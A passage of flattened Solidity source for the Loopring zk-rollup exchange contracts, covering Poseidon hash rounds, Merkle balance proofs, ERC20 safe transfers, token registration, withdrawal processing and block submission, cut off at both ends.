mix(i, q);
// round 23
ark(i, q, 15017690682054366744270630371095785995296470601172793770224691982518041139766);
sbox_partial(i, q);
mix(i, q);
// round 24
ark(i, q, 15159744167842240513848638419303545693472533086570469712794583342699782519832);
sbox_partial(i, q);
mix(i, q);
// round 25
ark(i, q, 11178069035565459212220861899558526502477231302924961773582350246646450941231);
sbox_partial(i, q);
mix(i, q);
// round 26
ark(i, q, 21154888769130549957415912997229564077486639529994598560737238811887296922114);
sbox_partial(i, q);
mix(i, q);
// round 27
ark(i, q, 20162517328110570500010831422938033120419484532231241180224283481905744633719);
sbox_partial(i, q);
mix(i, q);
// round 28
ark(i, q, 2777362604871784250419758188173029886707024739806641263170345377816177052018);
sbox_partial(i, q);
mix(i, q);
// round 29
ark(i, q, 15732290486829619144634131656503993123618032247178179298922551820261215487562);
sbox_partial(i, q);
mix(i, q);
// round 30
ark(i, q, 6024433414579583476444635447152826813568595303270846875177844482142230009826);
sbox_partial(i, q);
mix(i, q);
// round 31
ark(i, q, 17677827682004946431939402157761289497221048154630238117709539216286149983245);
sbox_partial(i, q);
mix(i, q);
// round 32
ark(i, q, 10716307389353583413755237303156291454109852751296156900963208377067748518748);
sbox_partial(i, q);
mix(i, q);
// round 33
ark(i, q, 14925386988604173087143546225719076187055229908444910452781922028996524347508);
sbox_partial(i, q);
mix(i, q);
// round 34
ark(i, q, 8940878636401797005293482068100797531020505636124892198091491586778667442523);
sbox_partial(i, q);
mix(i, q);
// round 35
ark(i, q, 18911747154199663060505302806894425160044925686870165583944475880789706164410);
sbox_partial(i, q);
mix(i, q);
// round 36
ark(i, q, 8821532432394939099312235292271438180996556457308429936910969094255825456935);
sbox_partial(i, q);
mix(i, q);
// round 37
ark(i, q, 20632576502437623790366878538516326728436616723089049415538037018093616927643);
sbox_partial(i, q);
mix(i, q);
// round 38
ark(i, q, 71447649211767888770311304010816315780740050029903404046389165015534756512);
sbox_partial(i, q);
mix(i, q);
// round 39
ark(i, q, 2781996465394730190470582631099299305677291329609718650018200531245670229393);
sbox_partial(i, q);
mix(i, q);
// round 40
ark(i, q, 12441376330954323535872906380510501637773629931719508864016287320488688345525);
sbox_partial(i, q);
mix(i, q);
// round 41
ark(i, q, 2558302139544901035700544058046419714227464650146159803703499681139469546006);
sbox_partial(i, q);
mix(i, q);
// round 42
ark(i, q, 10087036781939179132584550273563255199577525914374285705149349445480649057058);
sbox_partial(i, q);
mix(i, q);
// round 43
ark(i, q, 4267692623754666261749551533667592242661271409704769363166965280715887854739);
sbox_partial(i, q);
mix(i, q);
// round 44
ark(i, q, 4945579503584457514844595640661884835097077318604083061152997449742124905548);
sbox_partial(i, q);
mix(i, q);
// round 45
ark(i, q, 17742335354489274412669987990603079185096280484072783973732137326144230832311);
sbox_partial(i, q);
mix(i, q);
// round 46
ark(i, q, 6266270088302506215402996795500854910256503071464802875821837403486057988208);
sbox_partial(i, q);
mix(i, q);
// round 47
ark(i, q, 2716062168542520412498610856550519519760063668165561277991771577403400784706);
sbox_partial(i, q);
mix(i, q);
// round 48
ark(i, q, 19118392018538203167410421493487769944462015419023083813301166096764262134232);
sbox_partial(i, q);
mix(i, q);
// round 49
ark(i, q, 9386595745626044000666050847309903206827901310677406022353307960932745699524);
sbox_partial(i, q);
mix(i, q);
// round 50
ark(i, q, 9121640807890366356465620448383131419933298563527245687958865317869840082266);
sbox_partial(i, q);
mix(i, q);
// round 51
ark(i, q, 3078975275808111706229899605611544294904276390490742680006005661017864583210);
sbox_partial(i, q);
mix(i, q);
// round 52
ark(i, q, 7157404299437167354719786626667769956233708887934477609633504801472827442743);
sbox_partial(i, q);
mix(i, q);
// round 53
ark(i, q, 14056248655941725362944552761799461694550787028230120190862133165195793034373);
sbox_partial(i, q);
mix(i, q);
// round 54
ark(i, q, 14124396743304355958915937804966111851843703158171757752158388556919187839849);
sbox_partial(i, q);
mix(i, q);
// round 55
ark(i, q, 11851254356749068692552943732920045260402277343008629727465773766468466181076);
sbox_full(i, q);
mix(i, q);
// round 56
ark(i, q, 9799099446406796696742256539758943483211846559715874347178722060519817626047);
sbox_full(i, q);
mix(i, q);
// round 57
ark(i, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544);
sbox_full(i, q);
mix(i, q);
return i.t0;
}
}
// File: contracts/core/impl/libexchange/ExchangeBalances.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeBalances.
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library ExchangeBalances
{
using MathUint for uint;
function verifyAccountBalance(
uint merkleRoot,
ExchangeData.MerkleProof calldata merkleProof
)
public
pure
{
require(
isAccountBalanceCorrect(merkleRoot, merkleProof),
"INVALID_MERKLE_TREE_DATA"
);
}
function isAccountBalanceCorrect(
uint merkleRoot,
ExchangeData.MerkleProof memory merkleProof
)
public
pure
returns (bool)
{
// Calculate the Merkle root using the Merkle paths provided
uint calculatedRoot = getBalancesRoot(
merkleProof.balanceLeaf.tokenID,
merkleProof.balanceLeaf.balance,
merkleProof.balanceLeaf.weightAMM,
merkleProof.balanceLeaf.storageRoot,
merkleProof.balanceMerkleProof
);
calculatedRoot = getAccountInternalsRoot(
merkleProof.accountLeaf.accountID,
merkleProof.accountLeaf.owner,
merkleProof.accountLeaf.pubKeyX,
merkleProof.accountLeaf.pubKeyY,
merkleProof.accountLeaf.nonce,
merkleProof.accountLeaf.feeBipsAMM,
calculatedRoot,
merkleProof.accountMerkleProof
);
// Check against the expected Merkle root
return (calculatedRoot == merkleRoot);
}
function getBalancesRoot(
uint16 tokenID,
uint balance,
uint weightAMM,
uint storageRoot,
uint[24] memory balanceMerkleProof
)
private
pure
returns (uint)
{
// Hash the balance leaf
uint balanceItem = hashImpl(balance, weightAMM, storageRoot, 0);
// Calculate the Merkle root of the balance quad Merkle tree
uint _id = tokenID;
for (uint depth = 0; depth < 8; depth++) {
uint base = depth * 3;
if (_id & 3 == 0) {
balanceItem = hashImpl(
balanceItem,
balanceMerkleProof[base],
balanceMerkleProof[base + 1],
balanceMerkleProof[base + 2]
);
} else if (_id & 3 == 1) {
balanceItem = hashImpl(
balanceMerkleProof[base],
balanceItem,
balanceMerkleProof[base + 1],
balanceMerkleProof[base + 2]
);
} else if (_id & 3 == 2) {
balanceItem = hashImpl(
balanceMerkleProof[base],
balanceMerkleProof[base + 1],
balanceItem,
balanceMerkleProof[base + 2]
);
} else if (_id & 3 == 3) {
balanceItem = hashImpl(
balanceMerkleProof[base],
balanceMerkleProof[base + 1],
balanceMerkleProof[base + 2],
balanceItem
);
}
_id = _id >> 2;
}
return balanceItem;
}
function getAccountInternalsRoot(
uint32 accountID,
address owner,
uint pubKeyX,
uint pubKeyY,
uint nonce,
uint feeBipsAMM,
uint balancesRoot,
uint[48] memory accountMerkleProof
)
private
pure
returns (uint)
{
// Hash the account leaf
uint accountItem = hashAccountLeaf(uint(owner), pubKeyX, pubKeyY, nonce, feeBipsAMM, balancesRoot);
// Calculate the Merkle root of the account quad Merkle tree
uint _id = accountID;
for (uint depth = 0; depth < 16; depth++) {
uint base = depth * 3;
if (_id & 3 == 0) {
accountItem = hashImpl(
accountItem,
accountMerkleProof[base],
accountMerkleProof[base + 1],
accountMerkleProof[base + 2]
);
} else if (_id & 3 == 1) {
accountItem = hashImpl(
accountMerkleProof[base],
accountItem,
accountMerkleProof[base + 1],
accountMerkleProof[base + 2]
);
} else if (_id & 3 == 2) {
accountItem = hashImpl(
accountMerkleProof[base],
accountMerkleProof[base + 1],
accountItem,
accountMerkleProof[base + 2]
);
} else if (_id & 3 == 3) {
accountItem = hashImpl(
accountMerkleProof[base],
accountMerkleProof[base + 1],
accountMerkleProof[base + 2],
accountItem
);
}
_id = _id >> 2;
}
return accountItem;
}
function hashAccountLeaf(
uint t0,
uint t1,
uint t2,
uint t3,
uint t4,
uint t5
)
public
pure
returns (uint)
{
Poseidon.HashInputs7 memory inputs = Poseidon.HashInputs7(t0, t1, t2, t3, t4, t5, 0);
return Poseidon.hash_t7f6p52(inputs, ExchangeData.SNARK_SCALAR_FIELD);
}
function hashImpl(
uint t0,
uint t1,
uint t2,
uint t3
)
private
pure
returns (uint)
{
Poseidon.HashInputs5 memory inputs = Poseidon.HashInputs5(t0, t1, t2, t3, 0);
return Poseidon.hash_t5f6p52(inputs, ExchangeData.SNARK_SCALAR_FIELD);
}
}
// File: contracts/lib/ERC20SafeTransfer.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 safe transfer
/// @dev see https://github.com/sec-bit/badERC20Fix
/// @author Brecht Devos - <[email protected]>
library ERC20SafeTransfer
{
function safeTransferAndVerify(
address token,
address to,
uint value
)
internal
{
safeTransferWithGasLimitAndVerify(
token,
to,
value,
gasleft()
);
}
function safeTransfer(
address token,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferWithGasLimit(
token,
to,
value,
gasleft()
);
}
function safeTransferWithGasLimitAndVerify(
address token,
address to,
uint value,
uint gasLimit
)
internal
{
require(
safeTransferWithGasLimit(token, to, value, gasLimit),
"TRANSFER_FAILURE"
);
}
function safeTransferWithGasLimit(
address token,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transfer is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transfer(address,uint256)")) = 0xa9059cbb
bytes memory callData = abi.encodeWithSelector(
bytes4(0xa9059cbb),
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function safeTransferFromAndVerify(
address token,
address from,
address to,
uint value
)
internal
{
safeTransferFromWithGasLimitAndVerify(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFromWithGasLimitAndVerify(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
{
bool result = safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasLimit
);
require(result, "TRANSFER_FAILURE");
}
function safeTransferFromWithGasLimit(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transferFrom(address,address,uint256)")) = 0x23b872dd
bytes memory callData = abi.encodeWithSelector(
bytes4(0x23b872dd),
from,
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
internal
pure
returns (bool)
{
// A transfer/transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
if (success) {
assembly {
switch returndatasize()
// Non-standard ERC20: nothing is returned so if 'call' was successful we assume the transfer succeeded
case 0 {
success := 1
}
// Standard ERC20: a single boolean value is returned which needs to be true
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
// None of the above: not successful
default {
success := 0
}
}
}
return success;
}
}
// File: contracts/core/impl/libexchange/ExchangeTokens.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeTokens.
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library ExchangeTokens
{
using MathUint for uint;
using ERC20SafeTransfer for address;
using ExchangeMode for ExchangeData.State;
event TokenRegistered(
address token,
uint16 tokenId
);
function getTokenAddress(
ExchangeData.State storage S,
uint16 tokenID
)
public
view
returns (address)
{
require(tokenID < S.tokens.length, "INVALID_TOKEN_ID");
return S.tokens[tokenID].token;
}
function registerToken(
ExchangeData.State storage S,
address tokenAddress
)
public
returns (uint16 tokenID)
{
require(!S.isInWithdrawalMode(), "INVALID_MODE");
require(S.tokenToTokenId[tokenAddress] == 0, "TOKEN_ALREADY_EXIST");
require(S.tokens.length < ExchangeData.MAX_NUM_TOKENS, "TOKEN_REGISTRY_FULL");
// Check if the deposit contract supports the new token
if (S.depositContract != IDepositContract(0)) {
require(
S.depositContract.isTokenSupported(tokenAddress),
"UNSUPPORTED_TOKEN"
);
}
// Assign a tokenID and store the token
ExchangeData.Token memory token = ExchangeData.Token(
tokenAddress
);
tokenID = uint16(S.tokens.length);
S.tokens.push(token);
S.tokenToTokenId[tokenAddress] = tokenID + 1;
emit TokenRegistered(tokenAddress, tokenID);
}
function getTokenID(
ExchangeData.State storage S,
address tokenAddress
)
internal // inline call
view
returns (uint16 tokenID)
{
tokenID = S.tokenToTokenId[tokenAddress];
require(tokenID != 0, "TOKEN_NOT_FOUND");
tokenID = tokenID - 1;
}
}
// File: contracts/core/impl/libexchange/ExchangeWithdrawals.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeWithdrawals.
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
library ExchangeWithdrawals
{
enum WithdrawalCategory
{
DISTRIBUTION,
FROM_MERKLE_TREE,
FROM_DEPOSIT_REQUEST,
FROM_APPROVED_WITHDRAWAL
}
using AddressUtil for address;
using AddressUtil for address payable;
using BytesUtil for bytes;
using MathUint for uint;
using ExchangeBalances for ExchangeData.State;
using ExchangeMode for ExchangeData.State;
using ExchangeTokens for ExchangeData.State;
event ForcedWithdrawalRequested(
address owner,
address token,
uint32 accountID
);
event WithdrawalCompleted(
uint8 category,
address from,
address to,
address token,
uint amount
);
event WithdrawalFailed(
uint8 category,
address from,
address to,
address token,
uint amount
);
function forceWithdraw(
ExchangeData.State storage S,
address owner,
address token,
uint32 accountID
)
public
{
require(!S.isInWithdrawalMode(), "INVALID_MODE");
// Limit the amount of pending forced withdrawals so that the owner cannot be overwhelmed.
require(S.getNumAvailableForcedSlots() > 0, "TOO_MANY_REQUESTS_OPEN");
require(accountID < ExchangeData.MAX_NUM_ACCOUNTS, "INVALID_ACCOUNTID");
uint16 tokenID = S.getTokenID(token);
// A user needs to pay a fixed ETH withdrawal fee, set by the protocol.
uint withdrawalFeeETH = S.loopring.forcedWithdrawalFee();
// Check ETH value sent, can be larger than the expected withdraw fee
require(msg.value >= withdrawalFeeETH, "INSUFFICIENT_FEE");
// Send surplus of ETH back to the sender
uint feeSurplus = msg.value.sub(withdrawalFeeETH);
if (feeSurplus > 0) {
msg.sender.sendETHAndVerify(feeSurplus, gasleft());
}
// There can only be a single forced withdrawal per (account, token) pair.
require(
S.pendingForcedWithdrawals[accountID][tokenID].timestamp == 0,
"WITHDRAWAL_ALREADY_PENDING"
);
// Store the forced withdrawal request data
S.pendingForcedWithdrawals[accountID][tokenID] = ExchangeData.ForcedWithdrawal({
owner: owner,
timestamp: uint64(block.timestamp)
});
// Increment the number of pending forced transactions so we can keep count.
S.numPendingForcedTransactions++;
emit ForcedWithdrawalRequested(
owner,
token,
accountID
);
}
// We alow anyone to withdraw these funds for the account owner
function withdrawFromMerkleTree(
ExchangeData.State storage S,
ExchangeData.MerkleProof calldata merkleProof
)
public
{
require(S.isInWithdrawalMode(), "NOT_IN_WITHDRAW_MODE");
address owner = merkleProof.accountLeaf.owner;
uint32 accountID = merkleProof.accountLeaf.accountID;
uint16 tokenID = merkleProof.balanceLeaf.tokenID;
uint96 balance = merkleProof.balanceLeaf.balance;
// Make sure the funds aren't withdrawn already.
require(S.withdrawnInWithdrawMode[accountID][tokenID] == false, "WITHDRAWN_ALREADY");
// Verify that the provided Merkle tree data is valid by using the Merkle proof.
ExchangeBalances.verifyAccountBalance(
uint(S.merkleRoot),
merkleProof
);
// Make sure the balance can only be withdrawn once
S.withdrawnInWithdrawMode[accountID][tokenID] = true;
// Transfer the tokens to the account owner
transferTokens(
S,
uint8(WithdrawalCategory.FROM_MERKLE_TREE),
owner,
owner,
tokenID,
balance,
new bytes(0),
gasleft(),
false
);
}
function withdrawFromDepositRequest(
ExchangeData.State storage S,
address owner,
address token
)
public
{
uint16 tokenID = S.getTokenID(token);
ExchangeData.Deposit storage deposit = S.pendingDeposits[owner][tokenID];
require(deposit.timestamp != 0, "DEPOSIT_NOT_WITHDRAWABLE_YET");
// Check if the deposit has indeed exceeded the time limit of if the exchange is in withdrawal mode
require(
block.timestamp >= deposit.timestamp + S.maxAgeDepositUntilWithdrawable ||
S.isInWithdrawalMode(),
"DEPOSIT_NOT_WITHDRAWABLE_YET"
);
uint amount = deposit.amount;
// Reset the deposit request
delete S.pendingDeposits[owner][tokenID];
// Transfer the tokens
transferTokens(
S,
uint8(WithdrawalCategory.FROM_DEPOSIT_REQUEST),
owner,
owner,
tokenID,
amount,
new bytes(0),
gasleft(),
false
);
}
function withdrawFromApprovedWithdrawals(
ExchangeData.State storage S,
address[] memory owners,
address[] memory tokens
)
public
{
require(owners.length == tokens.length, "INVALID_INPUT_DATA");
for (uint i = 0; i < owners.length; i++) {
address owner = owners[i];
uint16 tokenID = S.getTokenID(tokens[i]);
uint amount = S.amountWithdrawable[owner][tokenID];
// Make sure this amount can't be withdrawn again
delete S.amountWithdrawable[owner][tokenID];
// Transfer the tokens to the owner
transferTokens(
S,
uint8(WithdrawalCategory.FROM_APPROVED_WITHDRAWAL),
owner,
owner,
tokenID,
amount,
new bytes(0),
gasleft(),
false
);
}
}
function distributeWithdrawal(
ExchangeData.State storage S,
address from,
address to,
uint16 tokenID,
uint amount,
bytes memory extraData,
uint gasLimit
)
public
{
// Try to transfer the tokens
bool success = transferTokens(
S,
uint8(WithdrawalCategory.DISTRIBUTION),
from,
to,
tokenID,
amount,
extraData,
gasLimit,
true
);
// If the transfer was successful there's nothing left to do.
// However, if the transfer failed the tokens are still in the contract and can be
// withdrawn later to `to` by anyone by using `withdrawFromApprovedWithdrawal.
if (!success) {
S.amountWithdrawable[to][tokenID] = S.amountWithdrawable[to][tokenID].add(amount);
}
}
// == Internal and Private Functions ==
// If allowFailure is true the transfer can fail because of a transfer error or
// because the transfer uses more than `gasLimit` gas. The function
// will return true when successful, false otherwise.
// If allowFailure is false the transfer is guaranteed to succeed using
// as much gas as needed, otherwise it throws. The function always returns true.
function transferTokens(
ExchangeData.State storage S,
uint8 category,
address from,
address to,
uint16 tokenID,
uint amount,
bytes memory extraData,
uint gasLimit,
bool allowFailure
)
private
returns (bool success)
{
// Redirect withdrawals to address(0) to the protocol fee vault
if (to == address(0)) {
to = S.loopring.protocolFeeVault();
}
address token = S.getTokenAddress(tokenID);
// Transfer the tokens from the deposit contract to the owner
if (gasLimit > 0) {
try S.depositContract.withdraw{gas: gasLimit}(from, to, token, amount, extraData) {
success = true;
} catch {
success = false;
}
} else {
success = false;
}
require(allowFailure || success, "TRANSFER_FAILURE");
if (success) {
emit WithdrawalCompleted(category, from, to, token, amount);
// Keep track of when the protocol fees were last withdrawn
// (only done to make this data easier available).
if (from == address(0)) {
S.protocolFeeLastWithdrawnTime[token] = block.timestamp;
}
} else {
emit WithdrawalFailed(category, from, to, token, amount);
}
}
}
// File: contracts/core/impl/libtransactions/WithdrawTransaction.sol
// Copyright 2017 Loopring Technology Limited.
/// @title WithdrawTransaction
/// @author Brecht Devos - <[email protected]>
/// @dev The following 4 types of withdrawals are supported:
/// - withdrawType = 0: offchain withdrawals with EdDSA signatures
/// - withdrawType = 1: offchain withdrawals with ECDSA signatures or onchain appprovals
/// - withdrawType = 2: onchain valid forced withdrawals (owner and accountID match), or
/// offchain operator-initiated withdrawals for protocol fees or for
/// users in shutdown mode
/// - withdrawType = 3: onchain invalid forced withdrawals (owner and accountID mismatch)
library WithdrawTransaction
{
using BytesUtil for bytes;
using FloatUtil for uint16;
using MathUint for uint;
using ExchangeMode for ExchangeData.State;
using ExchangeSignatures for ExchangeData.State;
using ExchangeWithdrawals for ExchangeData.State;
bytes32 constant public WITHDRAWAL_TYPEHASH = keccak256(
"Withdrawal(address owner,uint32 accountID,uint16 tokenID,uint96 amount,uint16 feeTokenID,uint96 maxFee,address to,bytes extraData,uint256 minGas,uint32 validUntil,uint32 storageID)"
);
struct Withdrawal
{
uint withdrawalType;
address from;
uint32 fromAccountID;
uint16 tokenID;
uint96 amount;
uint16 feeTokenID;
uint96 maxFee;
uint96 fee;
address to;
bytes extraData;
uint minGas;
uint32 validUntil;
uint32 storageID;
bytes20 onchainDataHash;
}
// Auxiliary data for each withdrawal
struct WithdrawalAuxiliaryData
{
bool storeRecipient;
uint gasLimit;
bytes signature;
uint minGas;
address to;
bytes extraData;
uint96 maxFee;
uint32 validUntil;
}
function process(
ExchangeData.State storage S,
ExchangeData.BlockContext memory ctx,
bytes memory data,
uint offset,
bytes memory auxiliaryData
)
internal
{
Withdrawal memory withdrawal;
readTx(data, offset, withdrawal);
WithdrawalAuxiliaryData memory auxData = abi.decode(auxiliaryData, (WithdrawalAuxiliaryData));
// Validate the withdrawal data not directly part of the DA
bytes20 onchainDataHash = hashOnchainData(
auxData.minGas,
auxData.to,
auxData.extraData
);
// Only the 20 MSB are used, which is still 80-bit of security, which is more
// than enough, especially when combined with validUntil.
require(withdrawal.onchainDataHash == onchainDataHash, "INVALID_WITHDRAWAL_DATA");
// Fill in withdrawal data missing from DA
withdrawal.to = auxData.to;
withdrawal.minGas = auxData.minGas;
withdrawal.extraData = auxData.extraData;
withdrawal.maxFee = auxData.maxFee == 0 ? withdrawal.fee : auxData.maxFee;
withdrawal.validUntil = auxData.validUntil;
// If the account has an owner, don't allow withdrawing to the zero address
// (which will be the protocol fee vault contract).
require(withdrawal.from == address(0) || withdrawal.to != address(0), "INVALID_WITHDRAWAL_RECIPIENT");
if (withdrawal.withdrawalType == 0) {
// Signature checked offchain, nothing to do
} else if (withdrawal.withdrawalType == 1) {
// Validate
require(ctx.timestamp < withdrawal.validUntil, "WITHDRAWAL_EXPIRED");
require(withdrawal.fee <= withdrawal.maxFee, "WITHDRAWAL_FEE_TOO_HIGH");
// Check appproval onchain
// Calculate the tx hash
bytes32 txHash = hashTx(ctx.DOMAIN_SEPARATOR, withdrawal);
// Check onchain authorization
S.requireAuthorizedTx(withdrawal.from, auxData.signature, txHash);
} else if (withdrawal.withdrawalType == 2 || withdrawal.withdrawalType == 3) {
// Forced withdrawals cannot make use of certain features because the
// necessary data is not authorized by the account owner.
// For protocol fee withdrawals, `owner` and `to` are both address(0).
require(withdrawal.from == withdrawal.to, "INVALID_WITHDRAWAL_ADDRESS");
// Forced withdrawal fees are charged when the request is submitted.
require(withdrawal.fee == 0, "FEE_NOT_ZERO");
require(withdrawal.extraData.length == 0, "AUXILIARY_DATA_NOT_ALLOWED");
ExchangeData.ForcedWithdrawal memory forcedWithdrawal =
S.pendingForcedWithdrawals[withdrawal.fromAccountID][withdrawal.tokenID];
if (forcedWithdrawal.timestamp != 0) {
if (withdrawal.withdrawalType == 2) {
require(withdrawal.from == forcedWithdrawal.owner, "INCONSISENT_OWNER");
} else { //withdrawal.withdrawalType == 3
require(withdrawal.from != forcedWithdrawal.owner, "INCONSISENT_OWNER");
require(withdrawal.amount == 0, "UNAUTHORIZED_WITHDRAWAL");
}
// delete the withdrawal request and free a slot
delete S.pendingForcedWithdrawals[withdrawal.fromAccountID][withdrawal.tokenID];
S.numPendingForcedTransactions--;
} else {
// Allow the owner to submit full withdrawals without authorization
// - when in shutdown mode
// - to withdraw protocol fees
require(
withdrawal.fromAccountID == ExchangeData.ACCOUNTID_PROTOCOLFEE ||
S.isShutdown(),
"FULL_WITHDRAWAL_UNAUTHORIZED"
);
}
} else {
revert("INVALID_WITHDRAWAL_TYPE");
}
// Check if there is a withdrawal recipient
address recipient = S.withdrawalRecipient[withdrawal.from][withdrawal.to][withdrawal.tokenID][withdrawal.amount][withdrawal.storageID];
if (recipient != address(0)) {
// Auxiliary data is not supported
require (withdrawal.extraData.length == 0, "AUXILIARY_DATA_NOT_ALLOWED");
// Set the new recipient address
withdrawal.to = recipient;
// Allow any amount of gas to be used on this withdrawal (which allows the transfer to be skipped)
withdrawal.minGas = 0;
// Do NOT delete the recipient to prevent replay attack
// delete S.withdrawalRecipient[withdrawal.owner][withdrawal.to][withdrawal.tokenID][withdrawal.amount][withdrawal.storageID];
} else if (auxData.storeRecipient) {
// Store the destination address to mark the withdrawal as done
require(withdrawal.to != address(0), "INVALID_DESTINATION_ADDRESS");
S.withdrawalRecipient[withdrawal.from][withdrawal.to][withdrawal.tokenID][withdrawal.amount][withdrawal.storageID] = withdrawal.to;
}
// Validate gas provided
require(auxData.gasLimit >= withdrawal.minGas, "OUT_OF_GAS_FOR_WITHDRAWAL");
// Try to transfer the tokens with the provided gas limit
S.distributeWithdrawal(
withdrawal.from,
withdrawal.to,
withdrawal.tokenID,
withdrawal.amount,
withdrawal.extraData,
auxData.gasLimit
);
}
function readTx(
bytes memory data,
uint offset,
Withdrawal memory withdrawal
)
internal
pure
{
uint _offset = offset;
require(data.toUint8Unsafe(_offset) == uint8(ExchangeData.TransactionType.WITHDRAWAL), "INVALID_TX_TYPE");
_offset += 1;
// Extract the transfer data
// We don't use abi.decode for this because of the large amount of zero-padding
// bytes the circuit would also have to hash.
withdrawal.withdrawalType = data.toUint8Unsafe(_offset);
_offset += 1;
withdrawal.from = data.toAddressUnsafe(_offset);
_offset += 20;
withdrawal.fromAccountID = data.toUint32Unsafe(_offset);
_offset += 4;
withdrawal.tokenID = data.toUint16Unsafe(_offset);
_offset += 2;
withdrawal.amount = data.toUint96Unsafe(_offset);
_offset += 12;
withdrawal.feeTokenID = data.toUint16Unsafe(_offset);
_offset += 2;
withdrawal.fee = data.toUint16Unsafe(_offset).decodeFloat16();
_offset += 2;
withdrawal.storageID = data.toUint32Unsafe(_offset);
_offset += 4;
withdrawal.onchainDataHash = data.toBytes20Unsafe(_offset);
_offset += 20;
}
function hashTx(
bytes32 DOMAIN_SEPARATOR,
Withdrawal memory withdrawal
)
internal
pure
returns (bytes32)
{
return EIP712.hashPacked(
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
WITHDRAWAL_TYPEHASH,
withdrawal.from,
withdrawal.fromAccountID,
withdrawal.tokenID,
withdrawal.amount,
withdrawal.feeTokenID,
withdrawal.maxFee,
withdrawal.to,
keccak256(withdrawal.extraData),
withdrawal.minGas,
withdrawal.validUntil,
withdrawal.storageID
)
)
);
}
function hashOnchainData(
uint minGas,
address to,
bytes memory extraData
)
internal
pure
returns (bytes20)
{
// Only the 20 MSB are used, which is still 80-bit of security, which is more
// than enough, especially when combined with validUntil.
return bytes20(keccak256(
abi.encodePacked(
minGas,
to,
extraData
)
));
}
}
// File: contracts/core/impl/libexchange/ExchangeBlocks.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeBlocks.
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
library ExchangeBlocks
{
using AddressUtil for address;
using AddressUtil for address payable;
using BlockReader for bytes;
using BytesUtil for bytes;
using MathUint for uint;
using ExchangeMode for ExchangeData.State;
using ExchangeWithdrawals for ExchangeData.State;
using SignatureUtil for bytes32;
event BlockSubmitted(
uint indexed blockIdx,
bytes32 merkleRoot,
bytes32 publicDataHash
);
event ProtocolFeesUpdated(
uint8 takerFeeBips,
uint8 makerFeeBips,
uint8 previousTakerFeeBips,
uint8 previousMakerFeeBips
);
function submitBlocks(
ExchangeData.State storage S,
ExchangeData.Block[] memory blocks
)
public
{
// Exchange cannot be in withdrawal mode
require(!S.isInWithdrawalMode(), "INVALID_MODE");
// Commit the blocks
bytes32[] memory publicDataHashes = new bytes32[](blocks.length);
for (uint i = 0; i < blocks.length; i++) {
// Hash all the public data to a single value which is used as the input for the circuit
publicDataHashes[i] = blocks[i].data.fastSHA256();
// Commit the block
commitBlock(S, blocks[i], publicDataHashes[i]);
}
// Verify the blocks - blocks are verified in a batch to save gas.
verifyBlocks(S, blocks, publicDataHashes);
}
// == Internal Functions ==
function commitBlock(
ExchangeData.State storage S,
ExchangeData.Block memory _block,
bytes32 _publicDataHash
)
private
{
// Read the block header
BlockReader.BlockHeader memory header = _block.data.readHeader();
// Validate the exchange
require(header.exchange == address(this), "INVALID_EXCHANGE");
// Validate the Merkle roots
require(header.merkleRootBefore == S.merkleRoot, "INVALID_MERKLE_ROOT");
require(header.merkleRootAfter != header.merkleRootBefore, "EMPTY_BLOCK_DISABLED");
require(uint(header.merkleRootAfter) < ExchangeData.SNARK_SCALAR_FIELD, "INVALID_MERKLE_ROOT");
// Validate the timestamp
require(
header.timestamp > block.timestamp - ExchangeData.TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS &&
header.timestamp < block.timestamp + ExchangeData.TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS,
"INVALID_TIMESTAMP"
);
// Validate the protocol fee values
require(
validateAndSyncProtocolFees(S, header.protocolTakerFeeBips, header.protocolMakerFeeBips),
"INVALID_PROTOCOL_FEES"
);
// Process conditional transactions
processConditionalTransactions(
S,
_block,
header
);
// Emit an event
uint numBlocks = S.numBlocks;
emit BlockSubmitted(numBlocks, header.merkleRootAfter, _publicDataHash);
S.merkleRoot = header.merkleRootAfter;
if (_block.storeBlockInfoOnchain) {
S.blocks[numBlocks] = ExchangeData.BlockInfo(
uint32(block.timestamp),
bytes28(_publicDataHash)
);
}
S.numBlocks = numBlocks + 1;
}
function verifyBlocks(
ExchangeData.State storage S,
ExchangeData.Block[] memory blocks,
bytes32[] memory publicDataHashes
)
private
view
{
IBlockVerifier blockVerifier = S.blockVerifier;
uint numBlocksVerified = 0;
bool[] memory blockVerified = new bool[](blocks.length);
ExchangeData.Block memory firstBlock;
uint[] memory batch = new uint[](blocks.length);
while (numBlocksVerified < blocks.length) {
// Find all blocks of the same type
uint batchLength = 0;
for (uint i = 0; i < blocks.length; i++) {
if (blockVerified[i] == false) {
if (batchLength == 0) {
